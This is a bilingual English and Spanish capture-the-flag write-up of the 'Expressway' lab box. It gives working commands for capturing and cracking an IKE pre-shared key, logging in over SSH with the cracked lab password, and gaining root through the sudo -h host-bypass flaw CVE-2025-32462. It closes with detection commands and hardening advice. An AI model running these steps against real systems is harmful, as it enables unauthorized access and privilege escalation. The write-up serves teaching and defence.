Expressway

Executive summary — Expressway is an unusual Easy Linux box: almost the whole attack revolves around IKE/IPsec. Enumerating the service in Aggressive Mode we capture the PSK hash, crack it by dictionary, and the PSK turns out to be the password for user ike over SSH. Once inside, Squid logs reveal an internal hostname (offramp.expressway.htb) and a hand-installed copy of sudo under /usr/local/bin. That combination opens the door to CVE-2025-32462, a bypass of sudoers' host-matching via sudo's -h flag that lets a rule meant for another host be applied locally. Path: IKE PSK -> ike -> sudoers host bypass -> root.

Attack map

[UDP 500] IKE/IPsec in Aggressive Mode -> leaks the PSK hash
   |  psk-crack (rockyou) -> cleartext PSK
   v
[SSH]  ike  (user.txt)  (the PSK is the password)
   |  sudo -l -> anomalous behaviour
   |  Squid logs -> internal hostname "offramp.expressway.htb"
   |  which sudo -> /usr/local/bin/sudo (vulnerable build, not the system one)
   v
[ROOT] CVE-2025-32462 (sudo -h sudoers host bypass) -> root

1. Reconnaissance

echo "10.10.11.87 expressway.htb" | sudo tee -a /etc/hosts

Before anything aggressive, a quick sweep with Nmap's default scripts confirms open ports and banners without too much noise.

nmap -v --script=default 10.10.11.87

With the ground covered, we go deeper with version/OS detection and full NSE:

nmap -v -A -sV 10.10.11.87
# 22/tcp open  ssh  OpenSSH 10.0p2 Debian 8

TCP has little more than SSH. Before attempting a login, we check which authentication methods it accepts —password, public key—, since that decides whether it's worth looking for a password elsewhere:

nmap -sV --script ssh-auth-methods -p 22 10.10.11.87

The real hint is on UDP: we check whether an IKE/IPsec service is listening on port 500.

sudo nmap -sU -p 500 10.10.11.87     # 500/udp open  isakmp

Environment note: during recon a tinyssh service was also observed on a different IP in the range; it's contextual lab-environment data, not part of this machine's attack path.

Resumen ejecutivo — Expressway es un Linux Easy poco habitual: casi todo el ataque gira en torno a IKE/IPsec. Enumerando el servicio en Aggressive Mode capturamos el hash de la PSK, lo crackeamos por diccionario y la PSK resulta ser la contraseña del usuario ike para SSH. Ya dentro, unos logs de Squid revelan un hostname interno (offramp.expressway.htb) y una copia de sudo instalada a mano en /usr/local/bin. Esa combinacion es la puerta a CVE-2025-32462, un bypass del host-matching de sudoers mediante la opcion -h de sudo que permite aplicar localmente una regla pensada para otro host. Recorrido IKE PSK -> ike -> sudoers host bypass -> root.

Mapa del ataque

[UDP 500] IKE/IPsec en Aggressive Mode -> filtra el hash de la PSK
   |  psk-crack (rockyou) -> PSK en claro
   v
[SSH]  ike  (user.txt)  (la PSK es la password)
   |  sudo -l -> comportamiento anomalo
   |  logs de Squid -> hostname interno "offramp.expressway.htb"
   |  which sudo -> /usr/local/bin/sudo (build vulnerable, no la del sistema)
   v
[ROOT] CVE-2025-32462 (sudo -h bypass de host en sudoers) -> root

1. Reconocimiento

echo "10.10.11.87 expressway.htb" | sudo tee -a /etc/hosts

Antes de lanzar nada agresivo conviene un barrido rapido con los scripts por defecto de Nmap: confirma puertos abiertos y banners sin generar demasiado ruido.

nmap -v --script=default 10.10.11.87

Con el terreno acotado, vamos a fondo con deteccion de version, SO y NSE completo:

nmap -v -A -sV 10.10.11.87
# 22/tcp open  ssh  OpenSSH 10.0p2 Debian 8

El TCP casi solo tiene SSH. Antes de intentar login, comprobamos que metodos de autenticacion acepta —password, clave publica—, ya que eso condiciona si merece la pena buscar una contraseña en algun otro sitio:

nmap -sV --script ssh-auth-methods -p 22 10.10.11.87

La pista real esta en UDP: comprobamos si hay un servicio IKE/IPsec escuchando en el puerto 500.

sudo nmap -sU -p 500 10.10.11.87     # 500/udp open  isakmp

Nota de entorno: durante el reconocimiento tambien se observo un servicio tinyssh en otra IP distinta del rango; es un dato contextual del entorno de laboratorio, no forma parte del camino de ataque de esta maquina.

2. IKE/IPsec — recovering the PSK

We confirm the IKE endpoint responds to a simple query:

ike-scan expressway.htb

IKE's Aggressive Mode (versus Main Mode) negotiates phase 1 in a single packet exchange instead of three. To speed up that negotiation, the hash of the Pre-Shared Key travels inside the handshake itself —keyed with the PSK but capturable—, instead of staying only on the server. Anyone watching the traffic (or triggering it, as here) can grab that hash and crack it offline without the server ever noticing.

ike-scan -A expressway.htb

We repeat it specifying a particular IKE identity (an email-style ID) and saving the cracking material to a file:

ike-scan -A expressway.htb --id=ike@expressway.htb -P ike.psk

-P ike.psk dumps the captured hash to disk. We run it through a dictionary with psk-crack:

psk-crack -d /usr/share/wordlists/rockyou.txt ike.psk

The rockyou.txt dictionary breaks the PSK:

freakingrockstarontheroad

3. Foothold — SSH as ike

The recovered PSK turns out to also be the password for user ike over SSH —classic reuse of the same secret between the VPN service and a system account—:

ssh ike@expressway.htb
# Password: freakingrockstarontheroad

We verify the context and grab the first flag:

id
whoami
pwd
cat user.txt

4. Post-exploitation — finding the sudo lead

With ike access, the classic first step is checking sudo privileges:

sudo -l

The output shows anomalous behaviour: it's not the typical rule list for a regular user, but something pointing to sudo on this box not behaving like stock Debian. That justifies a closer look at which sudo binary is actually running and why.

We check Squid's logs (a proxy present on the box) for accesses and internal hostnames that could give context:

ls -l /var/log/squid
cat /var/log/squid/access.log.1

Among the entries we spot an internal hostname we hadn't seen before: offramp.expressway.htb. We keep that: it turns out to be the key to the escalation in the next step.

We confirm sudo is not the system's stock binary:

which sudo
ls -l /usr/local/bin/sudo

/usr/local/bin/sudo is a hand-installed copy, different from the one Debian ships by default —likely a vulnerable build left there on purpose, or by accident during a partial patching pass on the system.

5. Escalation — CVE-2025-32462 (sudo -h host bypass)

Two sudo ≤ 1.9.17 vulnerabilities were disclosed together in July 2025: CVE-2025-32463 (chroot/NSS: --chroot loads a user-controlled nsswitch.conf before finishing policy evaluation) and CVE-2025-32462, the one that actually applies here. Sudo's -h (--host) flag was meant to be used only alongside -l, to list a user's privileges on another host of a centralized sudoers setup (typical in LDAP/NIS environments). The bug is that sudo didn't restrict that flag to the listing mode: it was also accepted when actually running a command. If a sudoers rule grants broad privileges to a user but only when run on a different host (here, offramp, part of the same logical setup as expressway), passing that hostname via -h makes sudo evaluate the rule as if it were running there, effectively nullifying the host restriction.

With the hostname recovered from Squid's logs and the vulnerable binary located, the command that gives a root shell is direct:

/usr/local/bin/sudo -h offramp.expressway.htb bash

We verify the new context:

id
whoami

uid=0(root) gid=0(root) groups=0(root)
root

With a root shell, we close out the box:

cat /root/root.txt

System fully compromised. 🏴‍☠️

6. Evidence and detection (hunting)

With the box solved, it's worth looking at what traces this attack leaves for a defender: any of these commands would have caught the anomaly before it turned into root.

find / -type f -name 'libnss_*' 2>/dev/null
find /tmp /var/tmp /home -type f -name '*.so*' -mtime -7 -ls 2>/dev/null
cat /etc/sudoers; ls -l /etc/sudoers.d/
which sudo; ls -l /usr/local/bin/sudo
stat /etc/nsswitch.conf; cat /etc/nsswitch.conf

Hunting for libnss_* libraries out of place covers the CVE-2025-32463 (chroot/NSS) variant; auditing sudoers and spotting sudo binaries outside the system's standard path covers the CVE-2025-32462 variant exploited here.

Vulnerability summary

Lessons learned

• Don't use IKE Aggressive Mode: it exposes the PSK hash in the handshake itself; use Main Mode or certificate-based auth.
• Strong, unique PSKs: even if the hash is captured, a long random PSK won't fall to a dictionary; and it should never double as a system account's password.
• Update sudo to ≥ 1.9.17p1: it fixes both CVE-2025-32462 (host bypass) and CVE-2025-32463 (chroot/NSS), disclosed together in July 2025.
• Watch out for multi-host sudoers: rules that restrict privileges "only on host X" within a centralized configuration are only as strong as the validation of that restriction; if the host can be spoofed, the restriction doesn't exist.
• Watch for binaries outside the package manager: a custom sudo under /usr/local/bin living alongside the system one is a red flag by itself.
• Review proxy logs (Squid): they leak internal topology —hostnames, routes— that an attacker can use to move laterally.

2. IKE/IPsec — recuperar la PSK

Confirmamos que el endpoint IKE responde a una consulta simple:

ike-scan expressway.htb

La Aggressive Mode de IKE (frente a la Main Mode) negocia la fase 1 en un solo intercambio de paquetes en vez de tres. Para acelerar esa negociacion, el hash de la Pre-Shared Key viaja dentro del handshake en texto —cifrado con la propia PSK como clave, pero capturable—, en vez de quedarse solo en el servidor. Cualquiera que vea el trafico (o lo provoque, como aqui) puede llevarse ese hash y crackearlo offline sin que el servidor se entere.

ike-scan -A expressway.htb

Repetimos indicando una identidad IKE especifica (un ID con formato de correo) y guardando el material de crackeo en un fichero:

ike-scan -A expressway.htb --id=ike@expressway.htb -P ike.psk

-P ike.psk vuelca el hash capturado a disco. Lo pasamos por diccionario con psk-crack:

psk-crack -d /usr/share/wordlists/rockyou.txt ike.psk

El diccionario rockyou.txt revienta la PSK:

freakingrockstarontheroad

3. Foothold — SSH como ike

La PSK recuperada resulta ser, ademas, la contraseña del usuario ike por SSH —reutilizacion clasica de un mismo secreto entre el servicio VPN y una cuenta de sistema—:

ssh ike@expressway.htb
# Password: freakingrockstarontheroad

Verificamos el contexto y recogemos la primera flag:

id
whoami
pwd
cat user.txt

4. Post-explotacion — encontrando la pista de sudo

Con acceso de ike, el primer paso clasico es revisar los privilegios de sudo:

sudo -l

La salida muestra un comportamiento anomalo: no es la lista tipica de reglas de un usuario normal, sino algo que apunta a que sudo en esta maquina no se comporta como el estandar de Debian. Eso justifica mirar mas de cerca que binario de sudo se esta ejecutando realmente y por que.

Revisamos los logs de Squid (proxy presente en la maquina) buscando accesos y hostnames internos que puedan dar contexto:

ls -l /var/log/squid
cat /var/log/squid/access.log.1

Entre las entradas aparece un hostname interno que no habiamos visto antes: offramp.expressway.htb. Guardamos el dato: en el siguiente paso resulta ser la clave de la escalada.

Confirmamos que sudo no es el binario estandar del sistema:

which sudo
ls -l /usr/local/bin/sudo

/usr/local/bin/sudo es una copia instalada a mano, distinta de la que trae Debian por defecto —probablemente una build vulnerable mantenida ahi a proposito o por descuido durante un parcheo parcial del sistema.

5. Escalada — CVE-2025-32462 (sudo -h host bypass)

En julio de 2025 se publicaron juntas dos vulnerabilidades de sudo ≤ 1.9.17: CVE-2025-32463 (chroot/NSS: --chroot carga un nsswitch.conf controlado por el usuario antes de terminar de evaluar la politica) y CVE-2025-32462, la que realmente aplica aqui. La opcion -h (--host) de sudo estaba pensada solo para usarse junto a -l, para listar los privilegios de un usuario en otro host de una configuracion centralizada de sudoers (tipica en entornos con LDAP/NIS). El fallo es que sudo no restringia esa opcion al modo listado: tambien se aceptaba al ejecutar un comando. Si existe una regla en sudoers que da privilegios amplios a un usuario pero solo cuando se ejecuta en un host distinto (aqui, offramp, dentro de la misma configuracion logica que expressway), pasar ese hostname por -h hace que sudo evalue la regla como si estuviera corriendo alli, anulando de facto la restriccion de host.

Con el hostname recuperado de los logs de Squid y el binario vulnerable localizado, el comando que da la shell de root es directo:

/usr/local/bin/sudo -h offramp.expressway.htb bash

Verificamos el nuevo contexto:

id
whoami

uid=0(root) gid=0(root) groups=0(root)
root

Con la shell de root, cerramos la maquina:

cat /root/root.txt

Sistema comprometido por completo. 🏴‍☠️

6. Evidencia y detección (hunting)

Con la caja ya resuelta, vale la pena mirar que rastros deja este ataque para un defensor: cualquiera de estos comandos habria detectado la anomalia antes de que se convirtiera en root.

find / -type f -name 'libnss_*' 2>/dev/null
find /tmp /var/tmp /home -type f -name '*.so*' -mtime -7 -ls 2>/dev/null
cat /etc/sudoers; ls -l /etc/sudoers.d/
which sudo; ls -l /usr/local/bin/sudo
stat /etc/nsswitch.conf; cat /etc/nsswitch.conf

Buscar librerias libnss_* fuera de lugar cubre la variante CVE-2025-32463 (chroot/NSS); auditar sudoers y localizar binarios de sudo fuera del estandar del sistema cubre la variante CVE-2025-32462 explotada aqui.

Resumen de vulnerabilidades

Lecciones aprendidas

• No uses IKE Aggressive Mode: expone el hash de la PSK en el propio handshake; usa Main Mode o autenticacion por certificados.
• PSKs fuertes y unicas: aunque se capture el hash, una PSK larga y aleatoria no cae por diccionario; ademas, nunca deberia reutilizarse como contraseña de una cuenta de sistema.
• Actualiza sudo a ≥ 1.9.17p1: corrige de una vez CVE-2025-32462 (bypass de host) y CVE-2025-32463 (chroot/NSS), publicadas juntas en julio de 2025.
• Cuidado con sudoers multi-host: las reglas que restringen privilegios "solo en tal host" dentro de una configuracion centralizada son tan fuertes como la validacion de esa restriccion; si se puede falsear el host, la restriccion no existe.
• Vigila binarios fuera del gestor de paquetes: un sudo propio en /usr/local/bin que conviva con el del sistema es una señal de alerta por si sola.
• Revisa logs de proxies (Squid): filtran topologia interna —hostnames, rutas— que un atacante puede usar para moverse lateralmente.